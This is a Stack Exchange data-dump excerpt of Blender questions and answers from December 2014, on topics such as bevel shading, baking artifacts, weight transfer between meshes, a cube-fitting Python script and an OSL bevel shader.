  <row Id="20997" PostTypeId="1" AcceptedAnswerId="21009" CreationDate="2014-12-16T19:30:36.523" Score="7" ViewCount="4815" Body="&lt;p&gt;Is there way to do &quot;Rounded Edge Width&quot; in Blender? It's familiar for me from Modo. Anyone know the trick? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Like Modo's Rounded Edge Width. Couple links for reference:&lt;/strong&gt;&lt;br&gt;&#xA;From the &lt;a href=&quot;http://docs.luxology.com/modo/701/help/pages/shaderendering/ShaderItems/Material.html&quot; rel=&quot;noreferrer&quot;&gt;modo documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The 'Rounded Edge Width' option adjusts the rendered result of surface&#xA;  normals at a polygons edge to blend them with adjoining polygon&#xA;  normals, giving the impression of a small rounded edge between the two&#xA;  intersecting faces. To explain it more simply it &lt;strong&gt;shades polygons edges&#xA;  at render time&lt;/strong&gt; to look as if a small rounded bevel has been applied,&#xA;  to what normally would be a sharp intersection. Users can define an&#xA;  Edge Width to determine the amount or 'roundness' but keep in mind it&#xA;  is &lt;strong&gt;merely a shading trick and wont round the edges of the actual&#xA;  geometry&lt;/strong&gt;, nor change the objects silhouette in the rendered image, so&#xA;  it is best to keep set the length to just a few pixels in width in the&#xA;  final rendered image.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;sub&gt;emphasis mine&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://youtu.be/TwsomsvF99Y?t=1m4s&quot; rel=&quot;noreferrer&quot;&gt;Video demonstrating the effect&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jQuN4.jpg&quot; alt=&quot;Rounded Edge Width&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="497" LastEditorUserId="599" LastEditDate="2014-12-16T20:30:46.623" LastActivityDate="2018-06-05T23:27:03.207" Title="Shader: Rounded edge between the two intersecting faces?" Tags="&lt;nodes&gt;&lt;shaders&gt;&lt;edges&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="20998" PostTypeId="1" CreationDate="2014-12-16T19:47:31.437" Score="4" ViewCount="1512" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WbUQO.pngstrong&quot; alt=&quot;Damn jagged&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you get rid of jagged edges when baking in cycles? Edges are perfectly smooth when rendering but as soon as i bake it gets jagged. Any help would be highly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="9532" LastEditorUserId="599" LastEditDate="2014-12-16T19:59:42.200" LastActivityDate="2015-04-12T07:08:58.707" Title="Jagged edges when baking in cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21000" PostTypeId="2" ParentId="20997" CreationDate="2014-12-16T19:48:56.257" Score="3" Body="&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/a/20999/3078&quot;&gt;@Jerryno said&lt;/a&gt;, you need geometry. You could try using a Bevel modifier, or the equivalent Bevel tool in &lt;em&gt;Edit Mode&lt;/em&gt;. The modifier is however preferable, since it's easily reversible; To do this, go to the &lt;em&gt;Properties panel&lt;/em&gt;, and in the &lt;em&gt;Modifiers&lt;/em&gt; tab, click &lt;code&gt;Add Modifier&lt;/code&gt; and choose &lt;code&gt;Bevel&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XtKqG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can tweak the settings in the modifier to give the effect you want. For instance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F9pfU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of segments defines the &quot;Smoothness&quot; and the Profile defines in which direction the generated geometry curves. A value less than &lt;code&gt;0.25&lt;/code&gt; will curve it inwards.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-12-16T20:06:01.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21001" PostTypeId="1" AcceptedAnswerId="21074" CreationDate="2014-12-16T20:18:59.900" Score="4" ViewCount="14440" Body="&lt;p&gt;Is it possible in texture painting mode to change the shape of the brush from circle to square? I am using the anchored stroke. As it is, it uses a circle brush and fades the corners of the image texture making it hard for me to make carefully aligned brush strokes. Other strokes that I tried also do this. &lt;/p&gt;&#xA;" OwnerUserId="2050" LastEditorUserId="5705" LastEditDate="2014-12-16T20:47:13.013" LastActivityDate="2014-12-18T07:43:16.807" Title="How to get a square brush in texture paint?" Tags="&lt;texture-painting&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21002" PostTypeId="1" CreationDate="2014-12-16T20:58:08.383" Score="1" ViewCount="1412" Body="&lt;p&gt;Looking through past posts I see this problem has been addressed often. I have tried many of the offered solutions unsuccessfully. I have a hi poly sculpt that I have normal mapped to a lower poly object. I would like to see the effect of that normal map while painting in a diffuse color slot in texture paint mode. The map looks fine while in the render viewport setting but does not show up in any other viewport setting. Painting while in a render viewport is too slow and not a viable option. To check my basic settings I made a simple scene with a plane object normal mapped with a sculpt and was able to see the mapped result fine in texture paint solid or texture viewport. So it seems the process does work but I cannot get it to work on this particular file. Is there a poly count limitation at work here or am I totally missing something obvious? Please see attached images demonstrating this issue.&lt;img src=&quot;https://i.stack.imgur.com/iNqhq.png&quot; alt=&quot;normal map as seen in tex paint&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wgEoz.png&quot; alt=&quot;normal map not affecting view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gHhv8.png&quot; alt=&quot;normal map effect visible in render view&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1459" LastEditorUserId="1459" LastEditDate="2014-12-16T21:09:22.550" LastActivityDate="2014-12-17T08:52:50.770" Title="Problem with normal map display in glsl texture paint mode" Tags="&lt;texture-painting&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21003" PostTypeId="1" CreationDate="2014-12-16T21:50:18.803" Score="3" ViewCount="2470" Body="&lt;p&gt;I have a very tricky-to-solve issue. I have two meshes, both with the same topology, but one is male and one is female. I have rigged one, done the poses and the pose groups, done sliders, and all. Now I want to apply the same weight to the vertices of the other mesh. How can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that Blender, unlike Maya, has no tools to save weights to a file and then load them to the selected mesh used for the binding on the same bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) - I have been trying the weight &lt;strong&gt;transfer weight tool&lt;/strong&gt; from the tool shelf with different options, but the result has not been what I want. The second mesh has ended up with ugly distortions here and there. That transfer weight in Blender somehow tries to emulate what V.A.M.P does in C4D even if V.A.M.P does better jobs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the two shapes are equivalent, transfer weight does a fine job, but, when they have the same topology but a different shape like in this case (male and female with same topology), then the result is not as nice as you'd expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) - Another method that I used is to bring in my scene just the male mesh as a non-rigged object, then duplicate the rigged female mesh (the one with poses and sliders), then to the copy of the female rigged mesh I apply the &lt;strong&gt;shrink-wrap modifier&lt;/strong&gt; using as target the male non-rigged mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is quite acceptable, but doing it this way, it transforms my rigged female copy of the mesh into the male shape, and the weights of course aren't the best either, and I'd need to remake them on that copy. In this case, though, if I compare the position of vertices in edit mode I can see that the male non-rigged mesh and the female turned into male by shrink wrap have the vertices positioned differently, so maybe this is what is affecting the rig behaviour. So maybe this method is worse than the previous one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be an easier solution to just roughly apply those weights the way transfer weight does and then adjust the weight on the male mesh so that I can keep the same sliders to deform both shapes (on different layers of course)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you might say &quot;Why not just rig from zero the whole male mesh?&quot;. I want them both to have weights similar enough that the sliders can control both the male and female for the various poses that I made with deform bones.&lt;/p&gt;&#xA;" OwnerUserId="8398" LastEditorUserId="1253" LastEditDate="2014-12-17T06:37:57.247" LastActivityDate="2014-12-17T08:47:30.680" Title="Best way to transfer weight groups between two meshes with same topology?" Tags="&lt;rigging&gt;&lt;weight-painting&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21004" PostTypeId="1" CreationDate="2014-12-16T21:59:18.087" Score="0" ViewCount="666" Body="&lt;p&gt;I'm trying to make a script that can create a cube where the vertices are moved to 8 selected vertices in the scene. I want this function because of my physic collision workflow later on in a game engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this is easier said than done. Matching the order of the selected vertices to the outer bounds of the cube (so that the cube doesn't get deformed in a weird way) is not easy. Has someone done this kind of function before? Or does someone have a good solution that could work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A cube has 8 vertices so if you want to span a cube to 8 vertices in a scene you need to have 8 different positions to span each vertex to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y4pML.png&quot; alt=&quot;After running this script i get a cube, that span the selected vertices, the cube on the right is the result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if the indices are ordered in a weird way, this is not that easy, as you need to identify the bounds (top right forward corner for example of the selected vertices which the created cube top right forward corner should be positioned at. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the script that works for vertices that have normal index order. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from mathutils import *&#xA;from math import *&#xA;&#xA;&#xA;obj=bpy.context.object&#xA;&#xA;locations = []&#xA;&#xA;if obj.mode == 'EDIT':&#xA;    bm=bmesh.from_edit_mesh(obj.data)&#xA;    for v in bm.verts:  &#xA;        if v.select:&#xA;            location = v.co&#xA;            locations.append(Vector(location))&#xA;&#xA;    bpy.ops.object.mode_set(mode='OBJECT')&#xA;&#xA;    newObj = bpy.ops.mesh.primitive_cube_add(location=(obj.location))   &#xA;    newObj = bpy.context.object&#xA;    newObj.scale = obj.scale&#xA;&#xA;&#xA;    bpy.ops.object.mode_set(mode='EDIT')&#xA;&#xA;    bm2 = bmesh.from_edit_mesh(newObj.data)&#xA;&#xA;    for i in range(0,len(locations)):&#xA;        print(bm2.verts[i].co)&#xA;        bm2.verts[i].co = locations[i]&#xA;&#xA;&#xA;else:&#xA;    print(&quot;Object is not in edit mode.&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i in range(0,len(locations)):&#xA;            print(bm2.verts[i].co)&#xA;            bm2.verts[i].co = locations[i]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is wrong because it needs to be looking into each position and compare them to make the cube span the positions in a correct way. But this is the problem, how do i do this in a easy way?&lt;/p&gt;&#xA;" OwnerUserId="9534" LastEditorUserId="9534" LastEditDate="2014-12-17T15:55:05.600" LastActivityDate="2014-12-17T15:55:05.600" Title="Function that fit a cube to 8 selected vertices" Tags="&lt;python&gt;&lt;objects&gt;&lt;vertices&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21005" PostTypeId="2" ParentId="6945" CreationDate="2014-12-16T22:40:17.590" Score="0" Body="&lt;p&gt;CoDEmanX's answer helped me, but my situation was slightly different. I was trying to intersect a 'shaft' with a 'wall'.  The shaft's end is square.  The wall has the the same width as the shaft, but is taller.  My goal was to make the shaft join with the wall at the bottom, (so they would share the bottom, left, and right edges but not top).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I snapped the face of the shaft to the wall, and then re-snapped each vertex to make sure they were exactly on-top of eachother.  Then I used the cut tool on the wall to subdivide it horizontally.  I had to make the cut above where the shaft intersected.  Then I moved the two vertexes of the new cut down and snapped them to the top of the top two corners of the shaft.  At this point I was finally able to follow the directions of CoDEmanX (skipping the first)&lt;/p&gt;&#xA;" OwnerUserId="5736" LastActivityDate="2014-12-16T22:40:17.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21006" PostTypeId="1" CreationDate="2014-12-17T02:07:23.097" Score="0" ViewCount="42" Body="&lt;p&gt;I am having quite a strange problem with the way my model renders. After modeling one of the objects of my scene, I created a quick light/camera setup to check the result of some hard surface modelling. When I set the 3D window to Render View, I get the object with what appears to be a scratches texture&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KlI1H.jpg&quot; alt=&quot;a detailed shot of the &amp;quot;scratches&amp;quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problem is that the object doesn't have any material applied; I have literally only done the modeling; when I apply some material to the surfaces, the material gets applied but underneath I can clearly see the &quot;scratches&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwqJ8.jpg&quot; alt=&quot;scratches under the anisotropic shader&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to append the geometry into a brand new file, and the problem appears to be bound to the geometry itself; the geometry is not perfect (it is mostly quads) but I don't think the problem is related to topology, for it happens with any object in the scene (including a satellite dish model with perfect topology). An interesting clue is that the actual render appears to be totally clean of any artifact. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this problem is not a deal breaker (specially since it doesn't seem to show in the final render), but I really would like to know what the solution to this quaint problem is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend file available on request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sept&lt;/p&gt;&#xA;" OwnerUserId="5606" LastActivityDate="2014-12-17T02:07:23.097" Title="Strange artifacts on rendering hard surface modeling" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-12-17T03:41:17.883" ContentLicense="CC BY-SA 3.0" />
  <row Id="21007" PostTypeId="2" ParentId="2941" CreationDate="2014-12-17T02:14:35.573" Score="6" Body="&lt;p&gt;Found an imperfect solution.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to Edit mode.&lt;/li&gt;&#xA;&lt;li&gt;Select the Vertices you wish to reset.&lt;/li&gt;&#xA;&lt;li&gt;Select the shape key you want to modify.&lt;/li&gt;&#xA;&lt;li&gt;Use &quot;Blend From Shape&quot; from the specials menu (&lt;code&gt;W&lt;/code&gt; key on the 3D view while in edit mode)&lt;/li&gt;&#xA;&lt;li&gt;In the &quot;blend from shape&quot; tool properties select BASIS shape key.&lt;/li&gt;&#xA;&lt;li&gt;Blend to 1.0&lt;/li&gt;&#xA;&lt;li&gt;Turn OFF the &quot;Add&quot; checkbox&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That should cancel out the effect of the current shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fXZPe.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fXZPe.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9536" LastEditorUserId="50416" LastEditDate="2018-04-30T13:19:42.660" LastActivityDate="2018-04-30T13:19:42.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21008" PostTypeId="1" AcceptedAnswerId="21012" CreationDate="2014-12-17T02:38:04.087" Score="1" ViewCount="2881" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4URoM.png&quot; alt=&quot;Like 80 windows&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have about 80 windows splits currently open, but I can't figure out why they wont close.&#xA;I tried Googling. I read the documentation, but the little corner grabbers don't seem to work.&lt;/p&gt;&#xA;" OwnerUserId="9537" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-17T03:39:23.177" Title="Can not close windows in interface" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="3" ClosedDate="2014-12-17T03:40:57.680" ContentLicense="CC BY-SA 3.0" />
  <row Id="21009" PostTypeId="2" ParentId="20997" CreationDate="2014-12-17T02:39:51.937" Score="12" Body="&lt;p&gt;There's an OSL bevel Shader for Cycles that I believe was originally written by the person who built Cycles.  Several people have been making adjustments to it and have been posting the results to the following thread on BlenderArtists.org  &lt;a href=&quot;http://www.blenderartists.org/forum/showthread.php?329295-Bevel-shader&quot; rel=&quot;noreferrer&quot;&gt;http://www.blenderartists.org/forum/showthread.php?329295-Bevel-shader&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;OSL Code&lt;/h1&gt;&#xA;&lt;p&gt;Paste the following code into a new Text Datablock in Blender, and use it in the script node of an OSL node tree:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;void rng_seed(output int rng, int seed)&#xA;{&#xA;  int chash = seed;&#xA;  if (chash == 0) chash = 1;&#xA;  rng = chash * 30391861;&#xA;}&#xA;&#xA;float rng_uniform(output int rng)&#xA;{&#xA;  float res = rng / float(2137483647) * 0.5 + 0.5;&#xA;  rng *= 30391861;&#xA;  return res;&#xA;}&#xA;&#xA;void to_unit_disk(float x, float y, output float x_out, output float y_out)&#xA;{&#xA;  float r, phi;&#xA;  float a = 2.0 * x - 1.0;&#xA;  float b = 2.0 * y - 1.0;&#xA;    &#xA;  if(a &amp;gt; -b) &#xA;  { if(a &amp;gt; b) &#xA;    { r = a;&#xA;      phi = M_PI_4 *(b/a);&#xA;    }&#xA;    else &#xA;    { r = b;&#xA;      phi = M_PI_4 *(2.0 - a/b);&#xA;  } }&#xA;  else &#xA;  { if(a &amp;lt; b) &#xA;    { r = -a;&#xA;      phi = M_PI_4 *(4.0 + b/a);&#xA;    }&#xA;    else &#xA;    { r = -b;&#xA;      if(b != 0.0) phi = M_PI_4 *(6.0 - a/b);&#xA;      else phi = 0.0;&#xA;  } }&#xA;  x_out = r * cos(phi);&#xA;  y_out = r * sin(phi);&#xA;}&#xA;&#xA;void make_orthonormals(vector N, output vector a, output vector b)&#xA;{&#xA;  if(N[0] != N[1] || N[0] != N[2]) a = cross(vector(1, 1, 1), N);&#xA;  else a = cross(vector(-1, 1, 1), N);&#xA;  &#xA;  a = normalize(a);&#xA;  b = cross(N, a);&#xA;}&#xA;&#xA;vector sample_cos_hemisphere(vector N, float randu, float randv)&#xA;{&#xA;  vector T, B;&#xA;    &#xA;  make_orthonormals(N, T, B);&#xA;  to_unit_disk(randu, randv, randu, randv);&#xA;  float costheta = sqrt(max(1.0 - randu * randu - randv * randv, 0.0));&#xA;&#xA;  return randu * T + randv * B + costheta * N;&#xA;}&#xA;&#xA;shader node_occlusion2(&#xA;  color Effect = color(0),&#xA;  color No_Effect = color(1),&#xA;  int Mode = 0, /* 0: Concave (AO) 1:Convex (Wear) 2:Both */&#xA;  int InvertEffect = 0,&#xA;  float Distance = 0.2,&#xA;  int Samples = 1,&#xA;  output color Color = 0,&#xA;  output float Fac = 0,&#xA;  output normal outNormal = N&#xA;)&#xA;{&#xA;  int i, rng;&#xA;  float f, randu, randv, ray_t, hits = 0;&#xA;  vector ray_P, ray_R;&#xA;  normal hit_normal = N;&#xA;  float hit_dist;&#xA;&#xA;  f = fmod(cellnoise(P*123456.0), 1.0);&#xA;  rng_seed(rng, int(f * 21374647));&#xA;  &#xA;  for(i = 0; i &amp;lt; Samples; i++) &#xA;  { randu = rng_uniform(rng);&#xA;    randv = rng_uniform(rng);&#xA;       &#xA;    ray_P = P;&#xA;    ray_R = sample_cos_hemisphere(-N, randu, randv);&#xA;    ray_t = Distance;&#xA;    &#xA;        &#xA;    if (!Mode)&#xA;    { if(trace(ray_P, -ray_R, &amp;quot;maxdist&amp;quot;, ray_t)) {&#xA;            hits += 1.0;&#xA;            int HitNormal = getmessage (&amp;quot;trace&amp;quot;, &amp;quot;N&amp;quot;, hit_normal);&#xA;            outNormal = outNormal + (hit_normal);&#xA;        }&#xA;    }&#xA;    else if (Mode == 1)&#xA;    { if(trace(ray_P, ray_R, &amp;quot;maxdist&amp;quot;, ray_t)) {&#xA;           hits += 1.0;&#xA;           int HitNormal = getmessage (&amp;quot;trace&amp;quot;, &amp;quot;N&amp;quot;, hit_normal);&#xA;           outNormal = outNormal - (hit_normal);&#xA;        }&#xA;    }&#xA;    else { &#xA;        if(trace(ray_P, -ray_R, &amp;quot;maxdist&amp;quot;, ray_t)) {&#xA;            hits += 1.0;&#xA;            int HitNormal = getmessage (&amp;quot;trace&amp;quot;, &amp;quot;N&amp;quot;, hit_normal);&#xA;            outNormal = outNormal + (hit_normal);&#xA;        }&#xA;        if(trace(ray_P, ray_R, &amp;quot;maxdist&amp;quot;, ray_t)) {&#xA;           hits += 1.0;&#xA;           int HitNormal = getmessage (&amp;quot;trace&amp;quot;, &amp;quot;N&amp;quot;, hit_normal);&#xA;           outNormal = outNormal - (hit_normal);&#xA;        }&#xA;    } &#xA;  }&#xA;  Fac = 1.0 - (hits/Samples);&#xA;  if(InvertEffect) Color = mix(No_Effect, Effect, Fac);&#xA;  else Color = mix(Effect, No_Effect, Fac);&#xA;  outNormal = normalize(outNormal);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here's a render of many spheres that are all separate objects.  It works well in some cases but not always.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NR6gE.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-08-08T11:44:32.503" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21011" PostTypeId="2" ParentId="21008" CreationDate="2014-12-17T03:08:12.057" Score="1" Body="&lt;p&gt;You can join windows very simply by right clicking on the edge between them&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eY23h.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Click on join windows&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sbsUp.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Move the mouse to the side that you want merged&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then click and it will have merged.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DRznW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastActivityDate="2014-12-17T03:08:12.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21012" PostTypeId="2" ParentId="21008" CreationDate="2014-12-17T03:10:17.790" Score="2" Body="&lt;p&gt;How to close view panels is well covered &lt;a href=&quot;https://blender.stackexchange.com/questions/5631/how-to-close-view-windows&quot;&gt;elsewhere&lt;/a&gt;. However in your particular case I would recommend clearing out the UI layout completely and starting from a clean setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, save and re-open your .blend with &lt;em&gt;Load UI&lt;/em&gt; disabled. You can disable &lt;em&gt;Load UI&lt;/em&gt; persistently, by deselecting the option in &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; User Preferences &gt; File&lt;/em&gt;, or temporarily, by deselecting the option available while opening a .blend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lsYJX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that opening a .blend with &lt;em&gt;Load UI&lt;/em&gt; disabled will keep the current layout, so to get back to the default you will have to load your startup .blend (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;) first. Or if you want the &lt;em&gt;default&lt;/em&gt; default, press &lt;em&gt;File &gt; Load factory settings&lt;/em&gt; before opening your .blend with &lt;em&gt;Load UI&lt;/em&gt; disabled.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-12-17T03:15:25.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21013" PostTypeId="1" CreationDate="2014-12-17T04:32:03.330" Score="2" ViewCount="780" Body="&lt;p&gt;Is there any way to achieve this effect: Where a ball intersects and &quot;morphs&quot; into another ball like &lt;a href=&quot;https://www.youtube.com/watch?v=icSygfTaAck&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; (Terminator T1000 style)...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g: I have this blob that needs to morph into this wall, but the wall won't really change in thickness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9bdRt.jpg&quot; alt=&quot;morph&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1500" LastEditorUserId="22990" LastEditDate="2016-05-04T12:25:43.247" LastActivityDate="2016-05-04T12:25:43.247" Title="Morph a ball into another (Terminator T1000 style)?" Tags="&lt;animation&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21015" PostTypeId="1" CreationDate="2014-12-17T06:17:18.637" Score="1" ViewCount="469" Body="&lt;p&gt;It was working fine until I got into making the plane look glossy, then it just stopped showing any changes as I made them. I tried working on the shape and made it into glass and it morphed a little in the rendering but does not look like its supposed too. I am using a Mac computer OSX 10.6.8. I just got this program tonight and am studying the lessons trying to learn it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JlplZ.png&quot; alt=&quot;See where Im at in pic here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9538" LastEditorUserId="7777" LastEditDate="2014-12-17T06:39:21.620" LastActivityDate="2015-03-15T14:59:54.117" Title="Why had my rendering stopped working?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21016" PostTypeId="2" ParentId="20979" CreationDate="2014-12-17T06:51:38.513" Score="1" Body="&lt;p&gt;You can put a particle system after the cloth one and then use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Simulate/Explode&quot; rel=&quot;nofollow noreferrer&quot;&gt;Explode modifier&lt;/a&gt; to break the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PQ276.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you input a vertex weight map to protect some faces it will randomly break the unprotected ones and create effect like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oNQmV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-17T06:51:38.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21017" PostTypeId="2" ParentId="21013" CreationDate="2014-12-17T07:02:25.683" Score="7" Body="&lt;p&gt;You can do this effect with &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Metas&quot; rel=&quot;nofollow noreferrer&quot;&gt;Meta objects&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &gt; Metaball&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They work like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hMPcU.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-17T07:02:25.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
